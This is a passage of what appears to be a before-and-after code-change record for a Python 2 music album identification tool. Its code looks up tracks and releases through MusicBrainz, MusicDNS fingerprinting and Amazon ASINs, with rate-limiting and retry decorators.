\n\t\t\t\ttrackdata, \n\t\t\t\talbumartist, \n\t\t\t\treleaseid)\n\tif count == 0:\n\t\tprint \"Unable to identify album\"\n\tif count == 1:\n\t\tyield (directoryname, \n\t\t\trelease.title, \n\t\t\trid,\n\t\t\trevents, \n\t\t\tasin, \n\t\t\ttrackdata, \n\t\t\talbumartist, \n\t\t\treleaseid)\n\tif count > 1:\n\t\tprint \"Too many out of order tracks\"\n\t\tprint \"Possible releases:\"\n\t\tfor releaseid,releasetitle in possibilities.items():\n\t\t\tprint \" %s: %s\" % (releaseid, releasetitle)\n\t\ndef process_dir(dir_path):\n\t\"\"\"Process a directory and guess the album in it.\n\n\tArgs:\n\t\tdir_path: Full path to the directory to guess from.\n\n\tReturns:\n\t\tA generator which will yield album_info guesses. See guess_album for\n\t\tdetails of the guess format.\n\t\"\"\"\n\ttrackinfo = get_dir_info(dir_path)\n\treturn guess_best_album(trackinfo)\n\nif __name__==\"__main__\":\n\timport sys\n\talbum_info = process_dir(sys.argv[1])\n\t(artist, release, rid, releases, asin, trackdata, albumartist,\n\t\t\treleaseid) = album_info.next()\n\tprint albumartist,\"-\",release\n\tprint \"ASIN:\",asin\n\tprint \"Release Dates:\",\n\tfor i in releases:\n\t\tprint \"\",i\n\tfor (tracknum,artist,sortartist,title,dur,fname,artistid,trkid) in trackdata:\n\t\tprint \"\",tracknum,\"-\",artist,\"-\",title,\"%2d:%06.3f\" % (int(dur/60000),(dur % 60000)/1000)\n\t\tprint \" \",fname\n\n", "src/renamealbum/lookups.py": "import musicbrainz2 as mb\nimport musicbrainz2.webservice as ws\nimport musicbrainz2.model as model\nimport time\nimport amazon4\nimport re\nimport pickle\nimport os\nimport memocache\nimport util\nimport errno\nimport socket\nfrom urllib2 import URLError\nfrom urllib2 import HTTPError\n\nAMAZON_LICENSE_KEY='1WQQTEA14HEA9AERDMG2'\n\n# 0 = No profile information\n# 1 = Delay information only\n# 2 = Delay and webquery time\nPROFILE=2\nMINDELAY=1.25\nWSATTEMPTS=3\n\nstartup = time.time()\nlastwsquery = {}\n\nassert map(int,mb.__version__.split(\".\")) >= [0,6,0], \"Need python-musicbrainz2 >= v0.6.0\"\n\nSUBMIT_SUPPORT = map(int, mb.__version__.split(\".\")) >= [0,7,0]\n\nif SUBMIT_SUPPORT == False:\n        print \"To submit ISRCs to the musicbrainz database you need\"\n        print \" python-musicbrainz2 >= v 0.7.0\"\n\n\nwebservices = {\n\t\"lastfm\" : { \n\t\t\"freequeries\" : 1,\n\t},\n\t\"musicdns\" : { \n\t\t\"freequeries\" : 1,\n\t},\n\t\"musicbrainz\" : {\n\t\t\"freequeries\" : 13,\n\t},\n}\n\ndef timeout_retry(webservice=\"default\"):\n        \"\"\" Decorator to retry failures in web service calls.\n\n            For example, a 503 will result in a 20 second cooldown. A urlopen timeout\n            will simply be tried again.\n        \"\"\"\n        assert webservice in webservices,\"Unknown webservice\"\n        def ws_backoff(func):\n                def backoff_func(*args, **kwargs):\n                        global lastwsquery\n\t\t\ti = 0\n\t\t\twhile True:\n\t                        try:\n\t                                return func(*args,**kwargs)\n\t\t\t\t#musicbrainz2 error (child of WebServiceError)\n\t\t\t\texcept ws.ConnectionError,e:\n\t\t\t\t\t#e.reason is the as a urllib2.URLError\n\t\t\t\t\tprint (\"Caught %s error\" % e.reason.reason)\n\t\t\t\t#musicbrainz2 error\n\t\t\t\texcept ws.WebServiceError,e:\n\t\t\t\t\t#e.reason is a urllib2.HTTPError\n\t\t\t\t\tif e.reason.code == 503:\n\t\t\t\t\t\tprint (\"Caught \" +webservice+ \" 503\")\n\t\t\t\t\telse:\n\t\t\t\t\t\traise\n\t\t\t\t#urllib2 error (child of URLError)\n\t\t\t\texcept HTTPError, e:\n\t\t\t\t\t# Misc http errors -> should probably deal with these on a case by case basis\n\t\t\t\t\tif e.code == 400 and func.__name__ is not \"_do_raw_lastfm_query\":\n\t\t\t\t\t\tprint (\"Error code 400. Possible malformed URL: %s\" % e.filename)\n\t\t\t\t\t\traise\n\t\t\t\t\telse:\n\t\t\t\t\t\traise\n\t\t\t\t#urllib2 error (child of IOError)\n\t\t\t\texcept URLError, e:\n\t\t\t\t\tprint (\"Caught %s error\" % e.reason)\n\t\t\t\t#socket error (child of IOError)\n\t\t\t\texcept socket.error, e:\n\t\t\t\t\tprint (\"Caught %s error\" % str(e))\n\t\t\t\t# This is a very broad error so it should go last (other errors inherit from IOError)\n\t\t\t\texcept IOError,e:\n\t\t\t\t\t#url lib converts socket errors to cryptic IOErrors for some strange reason\n\t\t\t\t\tif e.errno == \"socket error\" and e.strerror.args[0] == \"timed out\":\n\t\t\t\t\t\tprint (\"Caught \" +webservice+ \" IO timeout\")\n\t\t\t\t\telse:\n\t\t\t\t\t\t# A bare raise will reraise the current exception\n\t\t\t\t\t\traise\n\n\t\t\t\t#bail if we've made enough attempts\n\t\t\t\tif i >= WSATTEMPTS:\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\ti+=1\n\n\t                        util.update_progress(\"waiting 20 seconds and trying again...\")\n\t\t\t\ttime.sleep(20)\n\t\t\t\tutil.update_progress(\"20 second backoff is over. Retrying now...\")\n\t                        # Reset the timer delayed uses so that we don't\n\t                        # end up with a bunch of queries causing\n\t                        # another 503\n\t                        lastwsquery[webservice]=time.time()\n\n\t\t\tprint \"Giving up on call to %s after %d tries.\" % (webservice, WSATTEMPTS)\n\t\t\traise\n\n                backoff_func.__name__=func.__name__\n                return backoff_func\n        return ws_backoff\n\ndef delayed(webservice=\"default\"):\n\t\"Decorator to make sure a function isn't called more often than once every 2 seconds. used to space webservice calls\"\n\tassert webservice in webservices,\"Unknown webservice\"\n\tdef delayed2(func):\n\t\tdef delay(*args,**kwargs):\n\t\t\tglobal lastwsquery\n\t\t\tif webservice not in lastwsquery:\n\t\t\t\tlastwsquery[webservice]=startup\n\n\t\t\tlastwsquery[webservice] = max(\n\t\t\t\tlastwsquery[webservice],\n\t\t\t\ttime.time() - webservices[webservice][\"freequeries\"] * MINDELAY)\n\t\t\t\t\n\t\t\twait=0\n\t\t\tif time.time()-lastwsquery[webservice]<MINDELAY:\n\t\t\t\twait=MINDELAY-(time.time()-lastwsquery[webservice])\n\t\t\t\tif PROFILE==1:\n\t\t\t\t\tutil.update_progress(\"Waiting %.2fs for %s\" % (wait,func.__name__))\n\t\t\t\ttime.sleep(wait)\n\t\t\tt=time.time()\n\t\t\tret=func(*args,**kwargs)\n\t\t\tif PROFILE>=2:\n\t\t\t\tutil.update_progress(\"%s took %.2fs (after a %.2fs wait)\" % (func.__name__,time.time()-t,wait))\n\t\t\tlastwsquery[webservice]+=MINDELAY\n\t\t\treturn ret\n\t\tdelay.__name__=\"delayed_\"+func.__name__\n\t\treturn delay\n\treturn delayed2\n\ntrackincludes = {\n\t\"artist\"\t: True,\n\t\"releases\"\t: True,\n\t\"puids\"\t\t: True,\n\t\"artistRelations\": False,\n\t\"releaseRelations\": False,\n\t\"trackRelations\": False,\n\t\"urlRelations\"\t: False,\n\t\"tags\"\t\t: True,\n}\nif SUBMIT_SUPPORT:\n\ttrackincludes[\"isrcs\"]=True\n\t\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_tracks_by_puid(puid):\n\t\"\"\" Lookup a list of musicbrainz tracks by PUID. Returns a list of Track\n\tobjects. \"\"\" \n\tq = ws.Query()\n\tfilter = ws.TrackFilter(puid=puid)\n\tresults = []\n\trs = q.getTracks(filter=filter)\n\tfor r in rs:\n\t\tresults.append(r.getTrack())\n\treturn results\n\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_track_by_id(id):\n\tq = ws.Query()\n\tresults = []\n        includes = ws.TrackIncludes(**trackincludes)\n\n\tt = q.getTrackById(id_ = id, include = includes)\n\treturn t\n\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_release_by_releaseid(releaseid):\n\t\"\"\" Given a musicbrainz release-id, fetch the release from musicbrainz. \"\"\"\n\tq = ws.Query()\n\trequests = {\n\t\t\"artist\" \t: True,\n\t\t\"counts\" \t: True,\n\t\t\"tracks\" \t: True,\n\t\t\"releaseEvents\" : True,\n\t\t\"releaseRelations\" : True,\n\t\t\"urlRelations\"\t: True,\n\t\t\"tags\"\t\t: True,\n\t}\n        if SUBMIT_SUPPORT:\n\t\trequests[\"isrcs\"] = True\n\tincludes = ws.ReleaseIncludes(**requests)\n\treturn q.getReleaseById(id_ = releaseid, include=includes)\n\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_releases_by_cdtext(title, performer, num_tracks):\n\t\"\"\" Given the performer, title and number of tracks on a disc, lookup\nthe release in musicbrainz. This method returns a list of possible results, or\nthe empty list if there were no matches. \"\"\"\n\n\tif title == \"\" or performer==\"\":\n\t\treturn []\n\tq = ws.Query()\n\tfilter = ws.ReleaseFilter(title=title, \n\t\t\t\tartistName=performer)\n\trels = q.getReleases(filter=filter)\n\t\n\t# Filter out of the list releases with a different number of tracks to\n\t# the Disc.\n        return [r \n\t\tfor r in rels \n\t\tif len(get_release_by_releaseid(r.release.id).getTracks()) == num_tracks\n\t\t]\n\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_releases_by_discid(discid):\n        \"\"\" Given a musicbrainz disc-id, fetch a list of possible releases. \"\"\"\n        q = ws.Query()\n        filter = ws.ReleaseFilter(discId=discid)\n        return q.getReleases(filter=filter)\n\ndef track_number(tracks, track):\n\t\"\"\" Lookup trackname in a list of tracks and return the track number\n\t(indexed starting at 1) \"\"\"\n\ttracknum = 1\n\tfor t in tracks:\n\t\tif t.id == track.id:\n\t\t\treturn tracknum\n\t\ttracknum += 1\n\treturn -1\n\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_track_artist_for_track(track):\n\t\"\"\" Returns the musicbrainz Artist object for the given track. This may\n\t\trequire a webservice lookup\n\t\"\"\"\n\tif track.artist is not None:\n\t\treturn track.artist\n\n\tq = ws.Query()\n\tincludes = ws.TrackIncludes(artist = True)\n\tt = q.getTrackById(track.id, includes)\n\n\tif t is not None:\n\t\treturn t.artist\n\n\treturn None\n\ndef __get_prev_and_next_releases(release):\n        prev = None\n        next = None\n        relations = release.getRelations()\n        for r in relations:\n                if r.getType().find(\"#PartOfSet\") != -1:\n                        if r.getDirection() == model.Relation.DIR_BACKWARD:\n                                prev = str(r.getTargetId()[-36:])\n                        else:\n                                next = str(r.getTargetId()[-36:])\n                        continue\n        return (prev,next)\n\ndef get_all_releases_in_set(releaseid):\n        \"\"\" Return all of the release ids that belong to the same multi-disc set\n            as the provided id.\n\n            The original id will be passed back in the set, so the length of the \n            returned list indicates the number of discs in the set. The list should be\n            ordered.\n        \"\"\"\n        releases = [releaseid]\n        r = get_release_by_releaseid(releaseid)\n        (prev, next) = __get_prev_and_next_releases(r)\n        # Search back to the beginning of the set...\n        while prev is not None:\n                releases = [prev] + releases\n                (prev, n) = __get_prev_and_next_releases(get_release_by_releaseid(prev))\n        # Search forward to the end of the set...\n        while next is not None:\n                releases = releases + [next]\n                (p, next) = __get_prev_and_next_releases(get_release_by_releaseid(next))\n\n        return releases\n\n@memocache.memoify()\ndef get_album_art_url_for_asin(asin):\n\tif asin is None:\n\t\treturn None\n\n\tasin = amazon4.__get_asin(asin)\n\turl = \"http://images.amazon.com/images/P/%s.01._SCLZZZZZZZ_.jpg\" % asin\n\treturn url\n\n\t\"\"\"\n\tprint \"Doing an Amazon Web Services lookup for ASIN \" + asin\n\ttry:\n\t\titem = amazon4.search_by_asin(asin, license_key=AMAZON_LICENSE_KEY, response_group=\"Images\")\n\texcept Exception,e:\n\t\tprint e\n\t\treturn None\n\tif hasattr(item,\"LargeImage\"):\n\t\treturn item.LargeImage.URL\n\treturn None\n\t\"\"\"\n\n@memocache.memoify()\ndef get_asin_from_release(release, prefer=None):\n\t# The ASIN specified in release.asin isn't necessarily the only ASIN\n\t# for the release. Sigh. So, we need to look at the release's relations\n\t# to see if there are multiple ASINs, report this to the user, and\n\t# bail. The user can then choose which ASIN they want to use and\n\t# specify it on the command line next time.\n\tasins = []\n\tfor relation in release.getRelations():\n\t\tif relation.getType().find(\"AmazonAsin\") != -1:\n\t\t\tasinurl = relation.getTargetId()\n\t\t\tasins.append(asinurl)\n\t\t\tprint \"Amazon ASIN: \" + asinurl\n\tif len(asins) == 1:\n\t\treturn asins[0]\n\telif len(asins) == 0:\n\t\tprint \"WARNING: No ASIN for this release\"\n\t\treturn None\n\n        if prefer is not None:\n                for asin in asins:\n                        if asin.find(prefer) != -1:\n                                print \"WARNING: Mulitple ASINs exist, but we are forcing \" + prefer\n                                return asin\n\t\n        print \"WARNING: > 1 ASIN. I'm just going to use the first one. Use --release-asin to overwrite\"\n        return asins[0]\n\ndef parse_album_name(albumname):\n\t\"\"\" Pull apart an album name of the form \n\t\t\t\"Stadium Arcadium (disc 1: Mars)\"\n\t\tand return a tuple of the form\n\t\t\t(albumtitle, discnumber, disctitle)\n\t\tso for the above, we would return\n\t\t\t(\"Stadium Arcadium\", \"1\", \"Mars\")\n\t\tdiscnumber or disctitle will be set to None if they are unavailable\n\t\"\"\"\n\t# Note that we use a pretty ugly pattern here so that it's easy to separate\n\t# out into groups.\n\tpattern = r\"^(.*?)( \\(disc (\\d+)(: (.*))?\\))?$\"\n\tm = re.compile(pattern).search(albumname)\n\tif m is None:\n\t\traise Exception(\"Malformed album name: %s\" % albumname)\n\n\tg = m.groups()\n\treturn (g[0].strip(), g[2], g[4])\n\n# vim: set sw=8 tabstop=8 noexpandtab :\n", "src/renamealbum/musicdns.py": "#\n# musicdns.py\n# An interface to the MusicDNS web-service\n#\n# Mostly stolen^Hborrowed from pyofa\n#\n\nimport urllib\nfrom xml.etree import ElementTree\nimport re\nimport lookups\nimport memocache\n\nmusicdns_host = 'ofa.musicdns.org'\nmusicdns_port = 80\n\n@memocache.memoify()\n@lookups.timeout_retry(\"musicdns\")\n@lookups.delayed(\"musicdns\")\ndef lookup_fingerprint(fingerprint, duration, musicdns_key):\n\t\"\"\" Given a fingerprint and duration, lookup the track using the \n\tMusicDNS web-service and return the PUID, if found.\n\t\"\"\"\n\treq = '/ofa/1/track'\n\turl = 'http://%s:%d%s' % (musicdns_host, musicdns_port, req)\n\tpostargs = dict(\n\t\tcid=musicdns_key,\n\t\tcvr=\"flacnamer 0.1\",\n\t\tfpt=fingerprint,\n\t\tart='',\n\t\tttl='track',\n\t\talb='',\n\t\ttnm='',\n\t\tgnr='',\n\t\tyrr='',\n\t\tbrt='',\n\t\tfmt='',\n\t\tdur=str(duration),\n\t\trmd='1' # Return metadata, \n\t)\n\t\n\tdata = urllib.urlencode(postargs)\n\n\tf = urllib.urlopen(url, data)\n\ttree = ElementTree.parse(f)\n\tsanitize_tree(tree)\n\tel = tree.find('.//title')\n\ttitle = el.text if el is not None else None\n\n\tel = tree.find('.//artist/name')\n\tartist = el.text if el is not None else None\n\n\tel = tree.find('.//puid')\n\tpuid = el.attrib['id'] if el is not None else None\n\n\treturn (title, artist, puid)\n\ndef sanitize_tree(tree):\n\tfor el in tree.getiterator():\n\t\tel.tag = re.sub('{.*}', '', el.tag) \n\n# vim: set sw=8 tabstop=8 noexpandtab :\n", "src/renamealbum/musicfile.py": "import subprocess\nimport lookups\nimport tag\nimport fingerprint\nimport musicdns\nimport memocache\nimport albumidentifyconfig\n\n# Used for reading.\nmusicdns_key = 'a7f6063296c0f1c9b75c7f511861b89b'\n\nclass MusicFile:\n\tdef __init__(self,fname):\n\t\tself.fname = fname\n\t\tself.tracks = None\n\t\tself.fetchedpuid = False\n\t\tself.puid = None\n\t\tself.metadata = None\n\n\tdef __repr__(self):\n\t\treturn \"<MusicFile %s %s>\" % (self.fname,self.puid or \"\")\n\n\tdef _fetchPUID(self):\n\t\tif self.fetchedpuid:\n\t\t\treturn\n\t\tself.fetchedpuid = True\n\t\ttry:\n\t\t\tself.fingerprint, self.dur \\\n\t\t\t\t= fingerprint.populate_fingerprint_cache(self.fname)\n\t\t\tself.trackname, self.artist, self.puid \\\n\t\t\t\t= musicdns.lookup_fingerprint(\n\t\t\t\t\tself.fingerprint, \n\t\t\t\t\tself.dur, \n\t\t\t\t\tmusicdns_key)\n\t\texcept:\n\t\t\tself.dur = None\n\t\t\tself.fingerprint = None\n\t\t\traise\n\t\t\treturn \n\t\tif self.puid != None:\n\t\t\treturn \n\t\t# Submit the PUID if it's unknown\n                genpuid_cmd = albumidentifyconfig.config.get(\"albumidentify\",\"genpuid_command\")\n                musicdnskey = albumidentifyconfig.config.get(\"albumidentify\",\"musicdnskey\")\n                if not genpuid_cmd:\n\t\t\tprint \"No genpuid command specified, can't submit fingerprint for %s\" % self.fname\n\t\t\treturn\n                elif not musicdnskey:\n                        print \"No musicdnskey specified, can't submit fingerprint for %s\" % self.fname\n\t\t\treturn\n\t\tfingerprint.upload_fingerprint_any(\n\t\t\t\tself.fname, \n\t\t\t\tgenpuid_cmd,\n\t\t\t\tmusicdnskey)\n\t\tmemocache.remove_from_cache(\"delayed_lookup_fingerprint\",\n\t\t\t\tself.fingerprint,\n\t\t\t\tself.dur,\n\t\t\t\tmusicdns_key)\n\t\treturn None\n\t\t\n\n\tdef _fetchmetadata(self):\n\t\tif self.metadata is None:\n\t\t\tself.metadata = tag.read_tags(self.fname)\n\n\tdef getPUID(self):\n\t\tself._fetchPUID()\n\t\treturn self.puid\n\n\tdef getMDAlbumTitle(self):\n\t\t\"Return the album title, or None if not known\"\n\t\tself._fetchmetadata()\n\t\treturn self.metadata.get(tag.ALBUM,None)\n\n\tdef getMDTrackArtist(self):\n\t\t\"Return the track artist, or None if not known\"\n\t\tself._fetchmetadata()\n\t\treturn self.metadata.get(tag.ARTIST,None)\n\n\tdef getMDTrackID(self):\n\t\t\"Return the musicbrainz track id, or None if not known\"\n\t\tself._fetchmetadata()\n\t\treturn self.metadata.get(tag.TRACK_ID,None)\n\n\tdef getMDTrackTitle(self):\n\t\t\"Return the track title, or None if not known\"\n\t\tself._fetchmetadata()\n\t\treturn self.metadata.get(tag.TITLE,None)\n\n\tdef getDuration(self):\n\t\t\"Return the duration, or None if not known\"\n\t\tself._fetchPUID()\n\t\treturn self.dur\n\n\tdef getTracks(self):\n\t\t\"Return the tracks\"\n\t\tif self.tracks is None:\n\t\t\tif self.getPUID() is None:\n\t\t\t\treturn []\n\t\t\tself.tracks = lookups.get_tracks_by_puid(self.getPUID())\n\t\treturn self.tracks\n\n\tdef getFilename(self):\n\t\t\"Return the filename\"\n\t\tself._fetchmetadata()\n\t\treturn self.fname\n\n"}, "files_after": {"src/renamealbum/albumidentify.py": "#!/usr/bin/python\nimport os\nimport lookups\nimport musicbrainz2\nimport musicbrainz2.utils\nimport itertools\nimport random\nimport sort\nimport util\nimport musicfile\nimport time\nimport albumidentifyconfig\n\n# Strategys\nimport strat_transitive\nimport strat_metadata\nimport strat_trackname\nimport strat_musicbrainzid\n\n# If set to True, this will force tracks to be found in order\n# if set to False, tracks can be found in any order (has false positives)\nFORCE_ORDER=True\n#FORCE_ORDER=False\n\n# trackind's are 0 based\n# tracknum's are 1 based\n\ndef duration_to_string(duration):\n\tduration = duration / 1000.0 # ms -> s\n\tif duration > 60:\n\t\treturn \"%02d:%05.2f\" % (duration/60,duration%60)\n\treturn \"%05.2f\" % (duration)\n\ndef score_track(albumfreq,track):\n\t\"\"\"\"Returns the total number of albums this release is on that other\ntracks are on\"\"\"\n\treturn reduce(lambda a,b:a+b, \n\t\t[albumfreq[release.id] for release in track.releases])\n\ndef cmp_track(freq, tracka, trackb):\n\treturn cmp(score_track(freq, tracka), score_track(freq, trackb))\n\ndef get_dir_info(dirname):\n\tfiles=sort.sorted_dir(dirname)\n\ttrackinfo={}\n\tlastpuid=None\n\tlastfile=None\n\talbumfreq={}\n\tutil.update_verbose_progress(\"Examining %s\"%dirname)\n\tfor i in files:\n\t\tutil.update_verbose_progress(\" %s\" % (i))\n\t\tfname=os.path.join(dirname,i)\n\t\ttrackinfo[fname]=musicfile.MusicFile(fname)\n\t\t# If this is a duplicate of the previous track, ignore it.\n\t\t# Dedupe by PUID\n\t\tif lastpuid is not None and trackinfo[fname].getPUID() == lastpuid:\n\t\t\tutil.update_verbose_progress(\"WARNING: Duplicate track ignored\",repr(trackinfo[fname].getFilename()),\"and\",repr(trackinfo[lastfile].getFilename()))\n\t\t\tdel trackinfo[fname]\n\t\t\tcontinue\n\t\tlastpuid = trackinfo[fname].getFilename()\n\t\tlastfile = fname\n\t\tfor mbtrack in trackinfo[fname].getTracks():\n\t\t\tfor release in mbtrack.releases:\n\t\t\t\talbumfreq[release.id]=albumfreq.get(release.id,0)+1\n\t# Sort by the most likely album first.\n\tfor fileid in trackinfo:\n\t\ttrackinfo[fileid].getTracks().sort(\n\t\t\tlambda b,a:cmp_track(albumfreq,a,b))\n\treturn trackinfo\n\n# We need to choose a track to expand out.\n# We want to choose a track that's more likely to give us a result.  For\n# For example, if we have a track that appears in several nearly complete\n# albums, we probably don't need to expand it that frequently (but we still\n# should occasionally to prevent exploring deadends).\ndef choose_track(possible_releases, track_generator, trackinfo):\n\ttrack_prob={}\n\tfor fileid in trackinfo:\n\t\tif fileid not in track_generator:\n\t\t\tcontinue\n\t\t# use the number of trackid's found as a hint, so we avoid\n\t\t# exhausting a track too soon.\n\t\ttrack_prob[fileid]=1+len(trackinfo[fileid].getTracks())\n\t\tfor release in possible_releases:\n\t\t\tif fileid not in possible_releases[release].values():\n\t\t\t\ttrack_prob[fileid]+=len(possible_releases[release])**2\n\ttotal = reduce(lambda a,b:a+b,track_prob.values())\n\tr=random.random()*total\n\ttot=0\n\tfor fileid in track_prob:\n\t\tif fileid not in track_generator:\n\t\t\tcontinue\n\t\ttot+=track_prob[fileid]\n\t\tif tot>=r:\n\t\t\treturn fileid\n\treturn fileid\n\ndef giving_up(removed_releases,fileid):\n\tif not removed_releases:\n\t\tutil.report(\"No possible releases left\")\n\t\treturn\n\tutil.report(\"Possible releases:\")\n\tfor releaseid in removed_releases:\n\t\t# If this release only has one track that we found,\n\t\t# and we have other possible releases, ignore this one.\n\t\t#\n\t\t# TODO: Actually, we should just display the top 2\n\t\t#  releases, by number of tracks found on it.\n\t\tif len(removed_releases[releaseid])<2 \\\n\t\t\tand len(removed_releases)>1:\n\t\t\t\tcontinue\n\t\trelease = lookups.get_release_by_releaseid(releaseid)\n\t\tutil.report(\"%s - %s (%s.html)\" % (\n\t\t\trelease.artist.name,\n\t\t\trelease.title,\n\t\t\treleaseid))\n\t\tfor trackind in range(len(release.tracks)):\n\t\t\tif (trackind+1) in removed_releases[releaseid]:\n\t\t\t\tcontinue\n\t\t\tutil.report(\" #%02d %s.html %s\" % (\n\t\t\t\ttrackind+1,\n\t\t\t\trelease.tracks[trackind].id,\n\t\t\t\trelease.tracks[trackind].title))\n\t\tutil.report(\" %s\" % (\n\t\t\tutil.output_list(removed_releases[releaseid].keys())\n\t\t\t))\n\ndef end_of_track(possible_releases,impossible_releases,track_generator,trackinfo,fileid):\n\t# If there are no more tracks for this\n\t# skip it and try more.\n\tdel track_generator[fileid]\n\tutil.report(\"All possibilities for file %s exhausted\" % fileid)\n\tutil.report(\"filename: %s\" % trackinfo[fileid].getFilename())\n\tutil.report(\"Metadata Title: %s\" % (trackinfo[fileid].getMDTrackTitle()))\n\tutil.report(\"puid: %s\" % trackinfo[fileid].getPUID())\n\tremoved_releases={}\n\tutil.report(\"Current possible releases:\")\n\tfor i in possible_releases.keys():\n\t\t# Ignore any release that doesn't have this\n\t\t# track, since we can no longer find it.\n\t\tif fileid not in possible_releases[i].values():\n\t\t\tremoved_releases[i]=possible_releases[i]\n\t\t\tdel possible_releases[i]\n\t\t\timpossible_releases.append(i)\n\tif possible_releases=={}:\n\t\tgiving_up(removed_releases, fileid)\n\t\treturn\n\tfor i in possible_releases:\n\t\tutil.report(\" %s (tracks found: %s)\" % (lookups.get_release_by_releaseid(i).title,util.output_list(possible_releases[i].keys())))\n\ndef get_puids_for_release(releaseid):\n\tpuids=[]\n\trelease = lookups.get_release_by_releaseid(releaseid)\n\tfor track in release.tracks:\n\t\ttrack = lookups.get_track_by_id(track.id)\n\t\tpuids = puids + track.puids\n\treturn puids\n\ndef verify_track(release, possible_releases, impossible_releases, \n\t\t\ttrackinfo, fileid, track):\n\t# Step One: Has this file already been found on this release?\n\treleaseid = release.id\n\tif releaseid in possible_releases and fileid in possible_releases[releaseid].values():\n\t\tutil.update_progress(\"Already found on this release:\" + fileid )\n\t\treturn False\n\t# Step Two: Check for the right number of tracks\n\tif len(release.tracks) != len(trackinfo):\n\t\t# Ignore release -- wrong number of tracks\n\t\tutil.update_progress(release.title.encode(\"ascii\",\"ignore\")[:40]+\": wrong number of tracks (%d not %d)\" % (len(release.tracks),len(trackinfo)))\n\t\timpossible_releases.append(releaseid)\n\t\treturn False\n\n\t# Step Three: Have we found a file for this track on this release?\n\ttracknum = lookups.track_number(release.tracks, track)\n\tif releaseid in possible_releases and tracknum in possible_releases[releaseid]:\n\t\tutil.update_progress(\"Already found a file for track %02d: %s\" % (tracknum,possible_releases[releaseid][tracknum]))\n\t\treturn False\n\n\t# Step Four: (optionally) Check that track 'n' maps to file 'n'.\n\tif FORCE_ORDER:\n\t\tfound_tracknumber=lookups.track_number(release.tracks, track)\n\t\tfile_ids = trackinfo.keys()\n\t\tfile_ids = sort.sorted_list(file_ids)\n\t\tif found_tracknumber != file_ids.index(fileid)+1:\n\t\t\tutil.update_progress(release.title[:40]+\": track at wrong position\")\n\t\t\treturn False\n\n\t# Step Five: Make sure if there is another mapping on this album\n\t# that we don't accept this one.\n \tif trackinfo[fileid].getPUID() in get_puids_for_release(releaseid):\n\t\tif trackinfo[fileid].getPUID() not in lookups.get_track_by_id(track.id).puids:\n\t\t\tprint \"Track exists elsewhere on this release\"\n\t\t\tprint \"\",fileid\n\t\t\tprint \"\",track.title\n\t\t\t\n\t\t\tfor ntrackind,ntrack in enumerate(release.tracks):\n\t\t\t\tntrack = lookups.get_track_by_id(ntrack.id)\n\t\t\t\tif trackinfo[fileid].getPUID() in ntrack.puids:\n\t\t\t\t\tprint \" should be:\",ntrack.title\n\t\t\t\t\t\n\t\t\treturn False\n\n\t# Step Six: Make sure the song is within 10% of the length of the \n\t# track we expect it to be.\n\ttrack = lookups.get_track_by_id(track.id)\n\tif track.getDuration() is not None and trackinfo[fileid].getDuration():\n\t\tdur_ratio = track.getDuration() * 1.0 / trackinfo[fileid].getDuration()\n\t\tif dur_ratio < .9 or dur_ratio > 1.1:\n\t\t\tprint \"Track lengths differ\"\n\t\t\tprint \" (%s) %s\" % (\n\t\t\t\tduration_to_string(trackinfo[fileid].getDuration()),\n\t\t\t\ttrackinfo[fileid].getFilename(),\n\t\t\t\t)\n\t\t\tprint \" (%s) %s\" % (\n\t\t\t\tduration_to_string(track.getDuration()),\n\t\t\t\ttrack.title,\n\t\t\t\t)\n\t\t\treturn False\n\n\t# Well, after passing through that gauntlet, we might consider this track!\n\treturn True\n\ndef add_new_track(release, possible_releases, fileid, track, trackinfo, impossible_releases):\n\treleaseid = release.id\n\tfound_tracknumber=lookups.track_number(release.tracks, track)\n\tif releaseid in possible_releases:\n\t\tassert found_tracknumber not in possible_releases[releaseid]\n\t\tassert fileid not in possible_releases[releaseid].values(),(fileid,possible_releases[releaseid])\n\t\tpossible_releases[releaseid][found_tracknumber]=fileid\n\t\tprint \"Found track\",found_tracknumber,\"(\",release.tracks[found_tracknumber-1].title,\")\",\"of\",release.title,\":\",os.path.basename(fileid),\"(tracks found: %s)\\x1b[K\" % (util.output_list(possible_releases[releaseid].keys()))\n\t\treturn\n\telse:\n\t\tpossible_releases[releaseid]={found_tracknumber:fileid}\n\t\tutil.update_progress(\"Considering new %s - %s (found track %d)\" % (\n\t\t\trelease.artist.name,\n\t\t\trelease.title,\n\t\t\tfound_tracknumber))\n\n\t# Right, lets see if we can find some other tracks quick smart\n\tfor trackind in range(len(release.tracks)):\n\t\t# Don't waste time on things we've already found\n\t\tif (trackind+1) in possible_releases[releaseid]:\n\t\t\tcontinue\n\t\ttrack = lookups.get_track_by_id(release.tracks[trackind].id)\n\t\tfor fileid in trackinfo:\n\t\t\tif fileid in possible_releases[releaseid].values():\n\t\t\t\tcontinue\n\t\t\tif trackinfo[fileid].getPUID() in track.puids:\n\t\t\t\t# yay, found one.\n\t\t\t\tif verify_track(release,\n\t\t\t\t\t\tpossible_releases,\n\t\t\t\t\t\timpossible_releases,\n\t\t\t\t\t\ttrackinfo,\n\t\t\t\t\t\tfileid,\n\t\t\t\t\t\ttrack):\n\t\t\t\t\tpossible_releases[releaseid][trackind+1]=fileid\n\t\t\t\t\tutil.update_progress(\" Also found track %02d: %s\" % (trackind+1,release.tracks[trackind].title))\n\t\t\t\t\tbreak\n\tprint \" Found tracks: %s\" % (\n\t\tutil.output_list(possible_releases[releaseid].keys())),\n\tif util.list_difference(range(1,len(release.tracks)+1),\n\t\t\tpossible_releases[releaseid].keys()):\n\t\tprint \" Missing tracks: %s\"% (\n\t\t\tutil.output_list(\n\t\t\t\tutil.list_difference(range(1,len(release.tracks)+1),\n\t\t\t\tpossible_releases[releaseid].keys())))\n\telse:\n\t\tprint\n\ndef guess_album2(trackinfo):\n\t# trackinfo is\n\t#  <fname> => <musicfile.MusicFile>\n\t#\n\t# returns a list of possible release id's\n\t#\n\t# This version works by trying a breadth first search of releases to try\n\t# and avoid wasting a lot of time finding releases which are going to\n\t# be ignored.\n\t#\n\t# This function returns a list 